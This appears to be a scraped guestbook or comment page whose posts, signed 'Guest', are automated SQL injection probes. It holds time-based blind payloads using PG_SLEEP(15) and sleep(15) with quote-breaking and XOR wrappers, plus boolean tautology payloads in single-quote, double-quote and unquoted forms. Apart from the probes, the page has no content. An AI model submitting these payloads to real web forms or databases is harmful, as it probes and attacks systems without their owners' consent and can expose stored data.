Guest:
1qZxsSsPq') OR 503=(SELECT 503 FROM PG_SLEEP(15))--


Guest:
1qZxsSsPq') OR 503=(SELECT 503 FROM PG_SLEEP(15))--


-1 OR 2+65-65-1=0+0+0+1 --

-1 OR 2+858-858-1=0+0+0+1

-1' OR 2+625-625-1=0+0+0+1 --

-1' OR 2+310-310-1=0+0+0+1 or 'iLKL0NT4'='

-1" OR 2+914-914-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1qZxsSsPq') OR 503=(SELECT 503 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1qZxsSsPq') OR 503=(SELECT 503 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z